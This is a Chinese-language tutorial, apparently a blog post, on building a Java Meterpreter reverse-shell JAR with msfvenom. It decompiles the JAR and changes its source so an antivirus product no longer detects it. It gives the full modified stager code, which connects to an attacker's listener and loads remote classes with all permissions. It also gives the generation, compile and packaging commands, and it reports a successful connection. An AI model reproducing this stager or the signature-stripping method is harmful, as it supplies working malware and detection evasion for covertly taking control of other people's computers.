前言
公众号看到的文章,说生成的jar包来上线机器,C看不懂java利用AI还可以看吧。
生成SHELL
利用kali生成反弹shell的JAR包:
命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.88.206 LPORT=4444 > 1.jar
通过解包和使用反编译工具进行查看源码。
反编译,直接将生成的1.jar包放入反编译工具中jd-gui.jar
中,直接将1.jar
拖入该工具窗口即可。
然后选择保存源码导出即可:
源码分析
将源码放入vscode即可查看并修改,结合阿里的通义灵码插件进行学习。
解码后的文件结构:
1 -->META-INF
-->MANIFEST.MF
-->metasploit
-->Payload.java
-->metasploit.dat
Payload.java中的主要程序是:
if (i > 0) {
// 减少"Spawn"属性值(为的是能够执行else中的语句)
properties.setProperty("Spawn", String.valueOf(i - 1));
// 创建临时文件和目录结构
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete();
File file2 = new File(file1.getAbsolutePath() + ".dir");
File file3 = new File(file2, "metasploit.dat");
File file4 = new File(file2, str1);
file4.getParentFile().mkdirs();
// 写入嵌入式文件和可能的附加类
writeEmbeddedFile(clazz, str1, file4);
if (properties.getProperty("URL", "").startsWith("https:"))
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
if (properties.getProperty("AESPassword", (String)null) != null)
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
// 保存更新后的属性文件
FileOutputStream fileOutputStream = new FileOutputStream(file3);
properties.store(fileOutputStream, "");
fileOutputStream.close();
// 执行新的Java进程
Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
process.getInputStream().close();
process.getErrorStream().close();
Thread.sleep(2000L);
// 删除临时文件和目录
File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
for (byte b = 0; b < arrayOfFile.length; b++) {
for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
arrayOfFile[b].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (str3 != null) {
...
} else {
// 根据配置执行不同的输入输出流操作
OutputStream outputStream;
int j = Integer.parseInt(properties.getProperty("LPORT", "4444"));
String str4 = properties.getProperty("LHOST", (String)null);
String str5 = properties.getProperty("URL", (String)null);
InputStream inputStream1 = null;
if (j <= 0) {
inputStream1 = System.in;
outputStream = System.out;
} else if (str5 != null) {
if (str5.startsWith("raw:")) {
inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
} else if (str5.startsWith("http")) {
URLConnection uRLConnection = (new URL(str5)).openConnection();
if (str5.startsWith("https:"))
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection });
addRequestHeaders(uRLConnection, properties);
inputStream1 = uRLConnection.getInputStream();
}
outputStream = new ByteArrayOutputStream();
} else {
Socket socket;
if (str4 != null) {
socket = new Socket(str4, j);
} else {
ServerSocket serverSocket = new ServerSocket(j);
socket = serverSocket.accept();
serverSocket.close();
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
}
String str6 = properties.getProperty("AESPassword", (String)null);
if (str6 != null) {
Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 });
inputStream1 = (InputStream)arrayOfObject[0];
outputStream = (OutputStream)arrayOfObject[1];
}
// 分析命令行参数并调用Payload的bootstrap方法
StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
String[] arrayOfString = new String[stringTokenizer.countTokens()];
for (byte b = 0; b < arrayOfString.length; b++)
arrayOfString[b] = stringTokenizer.nextToken();
(new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
}
该程序的逻辑是,Spawn=i=2,当i>0时执行i-1并执行创建文件并执行子进程。当if语句和elseif语句都不满足的话就会执行else中的程序,else中的程序是连接监听服务的,这只是简单的程序执行过程。
对生成的可执行文件使用火绒扫描:
修改源码特征
将源码中的metasploit和payload等特征都进行替换或者编码处理,这里只进行了简单的替换。
对源码的包名和类名进行替换和修改,并删除程序多余的判断语句。
修改文件名,修改后的文件结构:
test1-->META-INF
-->MANIFEST.MF
-->test
-->test.java
-->test.dat
源码中也进行向对应的替换,并删除无用的语句。修改后的源码:
package test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.Enumeration;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
public class test extends ClassLoader {
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home");
public static void main(String[] paramArrayOfString) throws Exception {
Properties properties = new Properties();
Class<test> clazz = test.class;
String str1 = clazz.getName().replace('.', '/') + ".class";
InputStream inputStream = clazz.getResourceAsStream("/test.dat");
if (inputStream != null) {
properties.load(inputStream);
inputStream.close();
}
int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
String str3 = properties.getProperty("DroppedExecutable");
if (i > 0) {
properties.setProperty("Spawn", String.valueOf(i - 1));
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete();
File file2 = new File(file1.getAbsolutePath() + ".dir");
File file3 = new File(file2, "test.dat");
File file4 = new File(file2, str1);
file4.getParentFile().mkdirs();
writeEmbeddedFile(clazz, str1, file4);
FileOutputStream fileOutputStream = new FileOutputStream(file3);
properties.store(fileOutputStream, "");
fileOutputStream.close();
Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
process.getInputStream().close();
process.getErrorStream().close();
Thread.sleep(2000L);
File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
for (byte b = 0; b < arrayOfFile.length; b++) {
for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
arrayOfFile[b].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (str3 != null) {
File file = new File(str3);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE });
} catch (NoSuchMethodException noSuchMethodException) {
Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor();
}
} catch (Exception exception) {
exception.printStackTrace();
}
}
Runtime.getRuntime().exec(new String[] { str3 });
if (!IS_DOS) {
file.delete();
file.getParentFile().delete();
}
} else {
OutputStream outputStream;
int j = Integer.parseInt(properties.getProperty("LPORT", "4444"));
String str4 = properties.getProperty("LHOST", (String)null);
String str5 = properties.getProperty("URL", (String)null);
InputStream inputStream1 = null;
if (j <= 0) {
inputStream1 = System.in;
outputStream = System.out;
} else if (str5 != null) {
if (str5.startsWith("raw:")) {
inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
} else if (str5.startsWith("http")) {
URLConnection uRLConnection = (new URL(str5)).openConnection();
if (str5.startsWith("https:"))
Class.forName("test.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection });
addRequestHeaders(uRLConnection, properties);
inputStream1 = uRLConnection.getInputStream();
}
outputStream = new ByteArrayOutputStream();
} else {
Socket socket;
if (str4 != null) {
socket = new Socket(str4, j);
} else {
ServerSocket serverSocket = new ServerSocket(j);
socket = serverSocket.accept();
serverSocket.close();
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
}
StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
String[] arrayOfString = new String[stringTokenizer.countTokens()];
for (byte b = 0; b < arrayOfString.length; b++)
arrayOfString[b] = stringTokenizer.nextToken();
(new test()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
}
}
private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) {
Enumeration<?> enumeration = paramProperties.propertyNames();
while (enumeration.hasMoreElements()) {
Object object = enumeration.nextElement();
if (object instanceof String) {
String str = (String)object;
if (str.startsWith("Header"))
paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str));
}
}
}
private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException {
InputStream inputStream = paramClass.getResourceAsStream("/" + paramString);
FileOutputStream fileOutputStream = new FileOutputStream(paramFile);
byte[] arrayOfByte = new byte[4096];
int i;
while ((i = inputStream.read(arrayOfByte)) != -1)
fileOutputStream.write(arrayOfByte, 0, i);
fileOutputStream.close();
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception {
try {
Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions);
if (paramString == null) {
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain));
i = dataInputStream.readInt();
} while (i > 0);
} else {
clazz = Class.forName("javapayload.stage." + paramString);
}
Object object = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString });
} catch (Throwable throwable) {
throwable.printStackTrace(new PrintStream(paramOutputStream));
}
}
private static String getJreExecutable(String paramString) {
File file = null;
if (IS_AIX)
file = findInDir(JAVA_HOME + "/sh", paramString);
if (file == null)
file = findInDir(JAVA_HOME + "/bin", paramString);
return (file != null) ? file.getAbsolutePath() : addExtension(paramString);
}
private static String addExtension(String paramString) {
return paramString + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String paramString1, String paramString2) {
File file1 = normalize(paramString1);
File file2 = null;
if (file1.exists()) {
file2 = new File(file1, addExtension(paramString2));
if (!file2.exists())
file2 = null;
}
return file2;
}
private static File normalize(String paramString) {
Stack<String> stack = new Stack<>();
String[] arrayOfString = dissect(paramString);
stack.push(arrayOfString[0]);
StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator);
while (stringTokenizer.hasMoreTokens()) {
String str = stringTokenizer.nextToken();
if (".".equals(str))
continue;
if ("..".equals(str)) {
if (stack.size() < 2)
return new File(paramString);
stack.pop();
continue;
}
stack.push(str);
}
StringBuilder stringBuilder = new StringBuilder();
for (int b = 0; b < stack.size(); b++) {
if (b > 1)
stringBuilder.append(File.separatorChar);
stringBuilder.append(stack.elementAt(b));
}
return new File(stringBuilder.toString());
}
private static String[] dissect(String paramString) {
char c = File.separatorChar;
paramString = paramString.replace('/', c).replace('\\', c);
String str = null;
int i = paramString.indexOf(':');
if (i > 0 && IS_DOS) {
int j = i + 1;
str = paramString.substring(0, j);
char[] arrayOfChar = paramString.toCharArray();
str = str + c;
j = (arrayOfChar[j] == c) ? (j + 1) : j;
StringBuilder stringBuilder = new StringBuilder();
for (int k = j; k < arrayOfChar.length; k++) {
if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c)
stringBuilder.append(arrayOfChar[k]);
}
paramString = stringBuilder.toString();
} else if (paramString.length() > 1 && paramString.charAt(1) == c) {
int j = paramString.indexOf(c, 2);
j = paramString.indexOf(c, j + 1);
str = (j > 2) ? paramString.substring(0, j + 1) : paramString;
paramString = paramString.substring(str.length());
} else {
str = File.separator;
paramString = paramString.substring(1);
}
return new String[] { str, paramString };
}
}
对源码进行编译处理,进入test.java所在目录,执行后会生成test.class:
j
如果想要测试该test.class文件可进入,包含test目录的父目录内进行执行:
java -cp . test.test
既然修改后的可以执行成功,那么就打包成jar文件再次扫描并执行,进入包含test1目录的父目录中执行(我这里还是test目录):
jar cvfm myapp.jar test/META-INF/MANIFEST.MF -C test/ .
在打包前记得修改MANIFEST.MF
清单文件,里面有程序入口。
执行新生成的jar文件,查看连接成功。
再次检测该新生成的jar文件:
结束